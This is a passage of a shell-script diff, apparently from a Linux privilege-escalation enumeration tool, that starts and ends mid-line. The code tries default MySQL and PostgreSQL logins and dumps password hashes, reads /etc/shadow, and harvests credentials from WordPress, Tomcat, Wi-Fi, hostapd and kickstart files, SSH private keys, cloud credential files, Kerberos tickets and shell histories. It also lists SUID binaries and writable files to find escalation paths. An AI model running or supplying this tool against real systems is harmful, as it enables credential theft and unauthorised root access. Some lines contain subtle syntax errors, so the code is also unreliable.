"s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + echo "" + + #-- 10UI) Login info + printf $Y"[+] "$GREEN"Login information\n"$NC + w 2>/dev/null | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + last 2>/dev/null | tail | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + echo "" + + #-- 11UI) All users + printf $Y"[+] "$GREEN"All users\n"$NC + cat /etc/passwd 2>/dev/null | sort | cut -d: -f1 | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m," + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep SofI`" ]; then + ########################################### + #--------) Software Information (---------# + ########################################### + printf $B"===================================( "$GREEN"Software Information"$B" )===================================\n"$NC + + #-- 1SI) Mysql version + printf $Y"[+] "$GREEN"MySQL version\n"$NC + mysql --version 2>/dev/null || echo_not_found "mysql" + echo "" + + #-- 2SI) Mysql connection root/root + printf $Y"[+] "$GREEN"MySQL connection using default root/root ........... "$NC + mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` + if [ "$mysqlconnect" ]; then + echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + #-- 3SI) Mysql connection root/toor + printf $Y"[+] "$GREEN"MySQL connection using root/toor ................... "$NC + mysqlconnect=`mysqladmin -uroot -ptoor version 2>/dev/null` + if [ "$mysqlconnect" ]; then + echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + #-- 4SI) Mysql connection root/NOPASS + mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` + printf $Y"[+] "$GREEN"MySQL connection using root/NOPASS ................. "$NC + if [ "$mysqlconnectnopass" ]; then + echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + #-- 5SI) Mysql credentials + printf $Y"[+] "$GREEN"Looking for mysql credentials\n"$NC + mysqldirs=`find /etc /usr/var/lib /var/lib -type d -name mysql -not -path "*mysql/mysql" 2>/dev/null` + if [ "$mysqldirs" ]; then + for d in $mysqldirs; do + dcnf=`find $d -name debian.cnf 2>/dev/null` + for f in $dcnf; do + if [ -r $f ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed "s,.*,${C}[1;31m&${C}[0m," + cat $f + fi + done + uMYD=`find $d -name user.MYD 2>/dev/null` + for f in $uMYD; do + if [ -r $f ]; then + echo "We can read the Mysql Hashes from $f" | sed "s,.*,${C}[1;31m&${C}[0m," + grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" + fi + done + user=`grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"` + for f in $user; do + if [ -r $f ]; then + u=`cat $f | grep -v "#" | grep "user" | grep "=" 2>/dev/null` + echo "From '$f' Mysql user: $u" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + fi + done + done + else echo_not_found + fi + echo "" + + #-- 6SI) PostgreSQL info + printf $Y"[+] "$GREEN"PostgreSQL version and pgadmin credentials\n"$NC + postgver=`psql -V 2>/dev/null` + postgdb=`find /var /etc /home /root /tmp /usr /opt -type f -name "pgadmin*.db" 2>/dev/null` + if [ "$postgver" ] || [ "$postgdb"]; then + if [ "$postgver" ]; then echo "Version: $postgver"; fi + if [ "$postgdb" ]; then echo "PostgreSQL database: $postgdb" | sed "s,.*,${C}[1;31m&${C}[0m,"; fi + else echo_not_found + fi + echo "" + + #-- 7SI) PostgreSQL brute + if [ "$TIMEOUT" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. + #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this + printf $Y"[+] "$GREEN"PostgreSQL connection to template0 using postgres/NOPASS ........ "$NC + if [ "`timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + printf $Y"[+] "$GREEN"PostgreSQL connection to template1 using postgres/NOPASS ........ "$NC + if [ "`timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed "s,.)*,${C}[1;31m&${C}[0m," + else echo_no + fi + + printf $Y"[+] "$GREEN"PostgreSQL connection to template0 using pgsql/NOPASS ........... "$NC + if [ "`timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + printf $Y"[+] "$GREEN"PostgreSQL connection to template1 using pgsql/NOPASS ........... "$NC + if [ "`timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null`" ]; then echo "Yes" | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + echo "" + fi + + #-- 8SI) Apache info + printf $Y"[+] "$GREEN"Apache server info\n"$NC + apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` + if [ "$apachever" ]; then + echo "Version: $apachever" + sitesenabled=`find /var /etc /home /root /tmp /usr /opt -name sites-enabled -type d 2>/dev/null` + for d in $sitesenabled; do for f in $d/*; do grep "AuthType\|AuthName\|AuthUserFile" $f 2>/dev/null | sed "s,.*AuthUserFile.*,${C}[1;31m&${C}[0m,"; done; done + if [ !"$sitesenabled" ]; then + default00=`find /var /etc /home /root /tmp /usr /opt -name 000-default 2>/dev/null` + for f in $default00; do grep "AuthType\|AuthName\|AuthUserFile" $f 2>/dev/null | sed "s,.*AuthUserFile.*,${C}[1;31m&${C}[0m,"; done + fi + else echo_not_found + fi + echo "" + + #-- 9SI) PHP cookies files + phpsess1=`ls /var/lib/php/sessions 2>/dev/null` + phpsess2=`find /tmp /var/tmp -name "sess_*" 2>/dev/null` + printf $Y"[+] "$GREEN"Looking for PHPCookies\n"$NC + if [ "$phpsess1" ] || [ "$phpsess2" ]; then + if [ "$phpsess1" ]; then ls /var/lib/php/sessions 2>/dev/null; fi + if [ "$phpsess2" ]; then find /tmp /var/tmp -name "sess_*" 2>/dev/null; fi + else echo_not_found + fi + echo "" + + #-- 10SI) Wordpress user, password, databname and host + printf $Y"[+] "$GREEN"Looking for Wordpress wp-config.php files\n"$NC + wp=`find /var /etc /home /root /tmp /usr /opt -type f -name wp-config.php 2>/dev/null` + if [ "$wp" ]; then + echo "wp-config.php files found:\n$wp" + for f in $wp; do grep "PASSWORD\|USER\|NAME\|HOST" $f 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found "wp-config.php" + fi + echo "" + + #-- 11SI) Tomcat users + printf $Y"[+] "$GREEN"Looking for Tomcat users file\n"$NC + wp=`find /var /etc /home /root /tmp /usr /opt -type f -name tomcat-users.xml 2>/dev/null` + if [ "$wp" ]; then + echo "tomcat-users.xml file found: $wp" + for f in $wp; do grep "username=" $f 2>/dev/null | grep "password=" | sed "s,.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found "tomcat-users.xml" + fi + echo "" + + #-- 12SI) Mongo Information + printf $Y"[+] "$GREEN"Mongo information\n"$NC + (mongo --version 2>/dev/null || mongod --version 2>/dev/null) || echo_not_found + #TODO: Check if you can login without password and warn the user + echo "" + + #-- 13SI) Supervisord conf file + printf $Y"[+] "$GREEN"Looking for supervisord configuration file\n"$NC + supervisor=`find /var /etc /home /root /tmp /usr /opt -name supervisord.conf 2>/dev/null` + if [ "$supervisor" ]; then + printf "$supervisor\n" + for f in $supervisor; do cat $f 2>/dev/null | grep "port.*=\|username.*=\|password=.*" | sed "s,port\|username\|password,${C}[1;31m&${C}[0m,"; done + else echo_not_found "supervisord.conf" + fi + echo "" + + #-- 14SI) Cesi conf file + cesi=`find /var /etc /home /root /tmp /usr /opt -name cesi.conf 2>/dev/null` + printf $Y"[+] "$GREEN"Looking for cesi configuration file\n"$NC + if [ "$cesi" ]; then + printf "$cesi\n" + for f in $cesi; do cat $f 2>/dev/null | grep "username.*=\|password.*=\|host.*=\|port.*=\|database.*=" | sed "s,username\|password\|database,${C}[1;31m&${C}[0m,"; done + else echo_not_found "cesi.conf" + fi + echo "" + + #-- 15SI) Rsyncd conf file + rsyncd=`find /var /etc /home /root /tmp /usr /opt -name rsyncd.conf 2>/dev/null` + printf $Y"[+] "$GREEN"Looking for Rsyncd config file\n"$NC + if [ "$rsyncd" ]; then + printf "$rsyncd\n" + for f in $rsyncd; do cat $f 2>/dev/null | grep -v "^#" | grep "uid.*=|\gid.*=\|path.*=\|auth.*users.*=\|secrets.*file.*=\|hosts.*allow.*=\|hosts.*deny.*=" | sed "s,secrets.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found "rsyncd.conf" + fi + echo "" + + ##-- 16SI) Hostapd conf file + printf $Y"[+] "$GREEN"Looking for Hostapd config file\n"$NC + hostapd=`find /var /etc /home /root /tmp /usr /opt -name hostapd.conf 2>/dev/null` + if [ "$hostapd" ]; then + printf $Y"[+] "$GREEN"Hostapd conf was found\n"$NC + printf "$hostapd\n" + for f in $hostapd; do cat $f 2>/dev/null | grep "passphrase" | sed "s,passphrase.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found "hostapd.conf" + fi + echo "" + + ##-- 17SI) Wifi conns + printf $Y"[+] "$GREEN"Looking for wifi conns file\n"$NC + wifi=`find /etc/NetworkManager/system-connections/ 2>/dev/null` + if [ "$wifi" ]; then + printf "$wifi\n" + for f in $wifi; do cat $f 2>/dev/null | grep "psk.*=" | sed "s,psk.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found + fi + echo "" + + ##-- 18SI) Anaconda-ks conf files + printf $Y"[+] "$GREEN"Looking for Anaconda-ks config files\n"$NC + anaconda=`find /var /etc /home /root /tmp /usr /opt -name anaconda-ks.cfg 2>/dev/null` + if [ "$anaconda" ]; then + printf "$anaconda\n" + for f in $anaconda; do cat $f 2>/dev/null | grep "rootpw" | sed "s,rootpw.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found "anaconda-ks.cfg" + fi + echo "" + + ##-- 19SI) VNC files + printf $Y"[+] "$GREEN"Looking for .vnc directories and their passwd files\n"$NC + vnc=`find /home /root -type d -name .vnc 2>/dev/null` + if [ "$vnc" ]; then + printf "$vnc\n" + for d in $vnc; do find $d -name "passwd" -exec ls -l {} \; 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found ".vnc" + fi + echo "" + + ##-- 20SI) LDAP directories + printf $Y"[+] "$GREEN"Looking for ldap directories and their hashes\n"$NC + ldap=`find /var /etc /home /root /tmp /usr /opt -type d -name ldap 2>/dev/null` + if [ "$ldap" ]; then + printf "$ldap\n" + echo "The password hash is from the {SSHA} to 'structural'"; + for d in $ldap; do cat $d/*.bdb 2>/dev/null | grep -i -a -E -o "description.*" | sort | uniq | sed "s,administrator\|password\|ADMINISTRATOR\|PASSWORD\|Password\|Administrator,${C}[1;31m&${C}[0m,g"; done + else echo_not_found ".vnc" + fi + echo "" + + ##-- 21SI) .ovpn files + printf $Y"[+] "$GREEN"Looking for .ovpn files and credentials\n"$NC + ovpn=`find /etc /usr /home /root -name .ovpn 2>/dev/null` + if [ "$ovpn" ]; then + printf "$ovpn\n" + for f in $ovpn; do cat $f 2>/dev/null | grep "auth-user-pass" | sed "s,auth-user-pass.*,${C}[1;31m&${C}[0m,"; done + else echo_not_found ".ovpn" + fi + echo "" + + ##-- 22SI) ssh files + printf $Y"[+] "$GREEN"Looking for ssl/ssh files\n"$NC + ssh=`find /home /usr /root /etc /opt /var /mnt \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) 2>/dev/null` + privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home /root /mnt /etc 2>/dev/null` + certsb4=`find /home /usr /root /etc /opt /var /mnt \( -name "*.pem" -o -name "*.cer" -o -name "*.crt" \) 2>/dev/null | grep -v "/usr/share/\|/etc/ssl/"` + if [ "$certsb4" ]; then certsb4_grep=`grep -L "\"\|'\|(" $certsb4 2>/dev/null`; fi + certsbin=`find /home /usr /root /etc /opt /var /mnt \( -name "*.csr" -o -name "*.der" \) 2>/dev/null | grep -v "/usr/share/\|/etc/ssl/"` + clientcert=`find /home /usr /root /etc /opt /var /mnt \( -name "*.pfx" -o -name "*.p12" \) 2>/dev/null | grep -v "/usr/share/\|/etc/ssl/"` + sshagents=`find /tmp -name "agent*" 2>/dev/null` + + if [ "$ssh" ]; then + printf "$ssh\n" + fi + + grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|FordwardAgent" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed "s,PermitRootLogin.*es\|PermitEmptyPasswords.*es\|ChallengeResponseAuthentication.*es\|FordwardAgent.*es,${C}[1;31m&${C}[0m," + + if [ "$privatekeyfiles" ]; then + privatekeyfilesgrep=`grep -L "\"\|'\|(" $privatekeyfiles` # Check there aren't unexpected symbols in the file + fi + if [ "$privatekeyfilesgrep" ]; then + printf "Private SSH keys found!:\n$privatekeyfilesgrep\n" | sed "s,.*,${C}[1;31m&${C}[0m," + fi + if [ "$certsb4_grep" ] || [ "$certsbin" ]; then + echo " -- Some certificates were found:" + printf "$certsb4_grep\n" + printf "$certsbin\n" + fi + if [ "$clientcert" ]; then + echo " -- Some client certificates were found:" + printf "$clientcert\n" + fi + if [ "$sshagents" ]; then + echo " -- Some SSH Agents were found:" + printf "$sshagents\n" + fi + echo "" + + ##-- 23SI) PAM auth + printf $Y"[+] "$GREEN"Looking for unexpected auth lines in /etc/pam.d/sshd\n"$NC + pamssh=`cat /etc/pam.d/sshd 2>/dev/null | grep -v "^#\|^@" | grep -i auth` + if [ "$pamssh" ]; then + cat /etc/pam.d/sshd 2>/dev/null | grep -v "^#\|^@" | grep -i auth | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + echo "" + + ##-- 24SI) Cloud keys + printf $Y"[+] "$GREEN"Looking for AWS Keys\n"$NC + cloudcreds=`find /var /etc /home /root /tmp /usr /opt -type f -name "credentials" -o \( -name "credentials.db" \) -o \( -name "legacy_credentials.db" \) -o \( -name "access_tokens.db" \) -o \( -name "accessTokens.json" \) o \( -name "azureProfile.json" \) 2>/dev/null` + if [ "$cloudcreds" ]; then + printf "$cloudcreds\n" | sed "s,credentials\|credentials.db\|legacy_credentials.db\|access_tokens.db\|accessTokens.json\|azureProfile.json,${C}[1;31m&${C}[0m,g" + fi + echo "" + + ##-- 25SI) NFS exports + printf $Y"[+] "$GREEN"NFS exports?\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe\n"$NC + if [ "`cat /etc/exports 2>/dev/null`" ]; then cat /etc/exports 2>/dev/null | grep -v "^#" | sed "s,no_root_squash\|no_all_squash ,${C}[1;31;103m&${C}[0m," + else echo_not_found "/etc/exports" + fi + echo "" + + ##-- 26SI) Kerberos + printf $Y"[+] "$GREEN"Looking for kerberos conf files and tickets\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88#pass-the-ticket-ptt\n"$NC + krb5=`find /var /etc /home /root /tmp /usr /opt -type d -name krb5.conf 2>/dev/null` + if [ "$krb5" ]; then + for f in $krb5; do cat /etc/krb5.conf | grep default_ccache_name | sed "s,default_ccache_name,${C}[1;31m&${C}[0m,"; done + else echo_not_found "krb5.conf" + fi + ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos" + echo "" + + ##-- 27SI) kibana + printf $Y"[+] "$GREEN"Looking for Kibana yaml\n"$NC + kibana=`find /var /etc /home /root /tmp /usr /opt -name "kibana.y*ml" 2>/dev/null` + if [ "$kibana" ]; then + printf "$kibana\n" + for f in $kibana; do cat $f 2>/dev/null || grep -v "^#" | grep -v -e '^[[:space:]]*$' | sed "s,username\|password\|host\|port\|elasticsearch\|ssl,${C}[1;31m&${C}[0m,"; done + else echo_not_found "kibana.yml" + fi + echo "" + + ###-- 28SI) Logstash + printf $Y"[+] "$GREEN"Looking for logstash files\n"$NC + logstash=`find /var /etc /home /root /tmp /usr /opt -type d -name logstash 2>/dev/null` + if [ "$logstash" ]; then + printf "$logstash\n" + for d in $logstash; do + if [ -r $d/startup.options ]; then + echo "Logstash is running as user:" + cat $d/startup.options 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + fi + cat $d/conf.d/out* | grep "exec\s*{\|command\s*=>" | sed "s,exec\s*{\|command\s*=>,${C}[1;31m&${C}[0m," + cat $d/conf.d/filt* | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed "s,path\s*=>\|code\s*=>\|ruby\s*{,${C}[1;31m&${C}[0m," + done + else echo_not_found + fi + echo "" + + ##-- 29SI) Elasticsearch + printf $Y"[+] "$GREEN"Looking for elasticsearch files\n"$NC + elasticsearch=`find /var /etc /home /root /tmp /usr /opt -name "elasticsearch.y*ml" 2>/dev/null` + if [ "$elasticsearch" ]; then + printf "$elasticsearch\n" + for f in $elasticsearch; do cat $f 2>/dev/null | grep -v "^#" | grep -v -e '^[[:space:]]*$' | grep "path.data\|path.logs\|cluster.name\|node.name\|network.host\|discovery.zen.ping.unicast.hosts"; done + echo "Version: $(curl -X GET '10.10.10.115:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" + else echo_not_found + fi + echo "" + + ##-- 30SI) Vault-ssh + printf $Y"[+] "$GREEN"Looking for Vault-ssh files\n"$NC + vaultssh=`find /etc /usr /home /root -name vault-ssh-helper.hcl 2>/dev/null` + if [ "$vaultssh" ]; then + printf "$vaultssh\n" + for f in $vaultssh; do cat $f 2>/dev/null; vault-ssh-helper -verify-only -config $f 2>/dev/null; done + echo "" + vault secrets list 2>/dev/null + find /etc /usr /home /root -name ".vault-token" 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," 2>/dev/null + else echo_not_found "vault-ssh-helper.hcl" + fi + echo "" + + ##-- 31SI) Cached AD Hashes + adhashes=`ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null` + printf $Y"[+] "$GREEN"Looking for AD cached hahses\n"$NC + if [ "$adhashes" ]; then + ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null + else echo_not_found "cached hashes" + fi + echo "" + + ##-- 32SI) Screen sessions + printf $Y"[+] "$GREEN"Looking for screen sessions\n"$N + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions\n"$NC + screensess=`screen -ls 2>/dev/null` + if [ "$screensess" ]; then + printf "$screensess" | sed "s,.*,${C}[1;31m&${C}[0m," | sed "s,No Sockets found.*,${C}[1;32m&${C}[0m," + else echo_not_found "screen" + fi + echo "" + + ##-- 33SI) Tmux sessions + tmuxsess=`tmux ls 2>/dev/null` + printf $Y"[+] "$GREEN"Looking for tmux sessions\n"$N + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions\n"$NC + if [ "$tmuxsess" ]; then + printf "$tmuxsess" | sed "s,.*,${C}[1;31m&${C}[0m," | sed "s,no server running on.*,${C}[1;32m&${C}[0m," + else echo_not_found "tmux" + fi + echo "" + echo "" +fi + + +if [ "`echo $CHECKS | grep IntFiles`" ]; then + ########################################### + #----------) Interesting files (----------# + ########################################### + printf $B"====================================( "$GREEN"Interesting Files"$B" )=====================================\n"$NC + + ##-- 1IF) SUID + printf $Y"[+] "$GREEN"SUID\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands\n"$NC + for s in `find / -perm -4000 2>/dev/null`; do + c="a" + for b in $sidB; do + if [ "`echo $s | grep $(echo $b | cut -d "%" -f 1)`" ]; then + echo $s | sed "s,$(echo $b | cut -d "%" -f 1),${C}[1;31m&\t\t--->\t$(echo $b | cut -d "%" -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + echo $s | sed "s,$sidG,${C}[1;32m&${C}[0m," | sed "s,$sidVB,${C}[1;31;103m&${C}[0m," + fi + done; + echo "" + + ##-- 2IF) SGID + printf $Y"[+] "$GREEN"SGID\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands\n"$NC + for s in `find / -perm -g=s -type f 2>/dev/null`; do + c="a" + for b in $sidB; do + if [ "`echo $s | grep $(echo $b | cut -d "%" -f 1)`" ]; then + echo $s | sed "s,$(echo $b | cut -d "%" -f 1),${C}[1;31m&\t\t--->\t$(echo $b | cut -d "%" -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + echo $s | sed "s,$sidG,${C}[1;32m&${C}[0m," | sed "s,$sidVB,${C}[1;31;103m&${C}[0m," + fi + done; + echo "" + + ##-- 3IF) Capabilities + printf $Y"[+] "$GREEN"Capabilities\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities\n"$NC + (getcap -r / 2>/dev/null | sed "s,$sudocapsB,${C}[1;31m&${C}[0m," | sed "s,$capsB,${C}[1;31m&${C}[0m,") || echo_not_found + echo "" + + ##-- 4IF) .sh files in PATH + printf $Y"[+] "$GREEN".sh files in path\n"$NC + for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null | sed "s,$pathshG,${C}[1;32m&${C}[0m," ; done + echo "" + + ##-- 5IF) Hashes in passwd file + printf $Y"[+] "$GREEN"Hashes inside passwd file? ........... "$NC + if [ "`grep -v '^[^:]*:[x\*]' /etc/passwd 2>/dev/null`" ]; then grep -v '^[^:]*:[x\*]' /etc/passwd 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + ##-- 6IF) Read shadow files + printf $Y"[+] "$GREEN"Can I read shadow files? ........... "$NC + if [ "`cat /etc/shadow /etc/master.passwd 2>/dev/null`" ]; then cat /etc/shadow /etc/master.passwd 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," + else echo_no + fi + + ##-- 7IF) Read root dir + printf $Y"[+] "$GREEN"Can I read root folder? ........... "$NC + (ls -ahl /root/ 2>/dev/null) || echo_no + echo "" + + ##-- 8IF) Root files in home dirs + printf $Y"[+] "$GREEN"Looking for root files in home dirs (limit 20)\n"$NC + (find /home -user root 2>/dev/null | head -n 20 | sed "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m,") || echo_not_found + echo "" + + ##-- 9IF) Root files in my dirs + printf $Y"[+] "$GREEN"Looking for root files in folders owned by me\n"$NC + (for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $USER 2>/dev/null`; do find $d -user root -exec ls -l {} \; 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m," ; done) || echo_not_found + echo "" + + ##-- 10IF) Readable files belonging to root and not world readable + printf $Y"[+] "$GREEN"Readable files belonging to root and readable by me but not world readable\n"$NC + (for f in `find / -type f -user root ! -perm -o=r 2>/dev/null`; do if [ -r $f ]; then ls -l $f 2>/dev/null | sed "s,.*,${C}[1;31m&${C}[0m,"; fi; done) || echo_not_found + echo "" + + ##-- 11IF) Files inside my home + printf $Y"[+] "$GREEN"Files inside $HOME (limit 20)\n"$NC + (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found + echo "" + + ##-- 12IF) Files inside /home + printf $Y"[+] "$GREEN"Files inside others home (limit 20)\n"$NC + (find /home -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found + echo "" + + ##-- 13IF) Mails + printf $Y"[+] "$GREEN"Mails (limited 50)\n"$NC + (find /var/mail/ /var/spool/mail/ -type f 2>/dev/null | head -n 50) || echo_not_found + echo "" + + ##-- 14IF) Backup files + printf $Y"[+] "$GREEN"Backup files?\n"$NC + backs=`find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null` + for b in $backs; do if [ -r $b ]; then ls -l $b | grep -v $notBackup | sed "s,backup\|bck\|\.bak,${C}[1;31m&${C}[0m,g"; fi; done + echo "" + + ##-- 15IF) DB files + printf $Y"[+] "$GREEN"Looking for readable .db files\n"$NC + dbfiles=`find /var /etc /home /root /tmp /usr /opt -type f -name "*.db" 2>/dev/null` + for f in $dbfiles; do if [ -r $f ]; then echo $f; fi; done + echo "" + + ##-- 16IF) Web files + printf $Y"[+] "$GREEN"Web files?(output limited)\n"$NC + ls -alhR /var/www/ 2>/dev/null | head + ls -alhR /srv/www/htdocs/ 2>/dev/null | head + ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head + ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head + echo "" + + ##-- 17IF) Interesting hidden files + printf $Y"[+] "$GREEN"*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#read-sensitive-data\n"$NC + fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null` + for f in $fils; do + if [ -r $f ]; then + ls -l $f 2>/dev/null | sed "s,bash_history\|\.sudo_as_admin_successful\|\.plan\|\.htpasswd\|\.git-credentials\|\.rhosts\|,${C}[1;31m&${C}[0m," | sed "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m,g"; + g=`echo $f | grep "_history"` + if [ $g ]; then + printf $GREEN"Looking for possible passwords inside $f\n"$NC + cat $f | grep $pwd_inside_history | sed "s,$pwd_inside_history,${C}[1;31m&${C}[0m," + echo "" + fi; + fi; + done + echo "" + + ##-- 18IF) All hidden files + printf $Y"[+] "$GREEN"All hidden files (not in /sys/ or the ones listed in the previous check) (limit 100)\n"$NC + find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/\|\.gitignore\|_history$\|\.profile\|\.bashrc\|\.listing\|\.ignore\|\.uuid\|\.plan\|\.htpasswd\|\.git-credentials\|.rhosts\|.depend" | head -n 100 + echo "" + + ##-- 19IF) Readable files in /tmp, /var/tmp, /var/backups + printf $Y"[+] "$GREEN"Readable files inside /tmp, /var/tmp, /var/backups(limit 100)\n"$NC + filstmpback=`find /tmp /var/tmp /var/backups -type f 2>/dev/null | head -n 100` + for f in $filstmpback; do if [ -r $f ]; then ls -l $f 2>/dev/null; fi; done + echo "" + + ##-- 20IF) Interesting writable files + printf $Y"[+] "$GREEN"Interesting writable Files\n"$NC + printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files\n"$NC + find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs' | grep -v $notExtensions | sort | uniq | sed "s,$writeB,${C}[1;31m&${C}[0m," | sed "s,$writeVB,${C}[1;31:93m&${C}[0m," + for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs' | grep -v $notExtensions | sed "s,$writeB,${C}[1;31m&${C}[0m," | sed "s,$writeVB,${C}[1;31;103m&${C}[0m,"; done + echo "" + + ##-- 21IF) Passwords in config PHP files + printf $Y"[+] 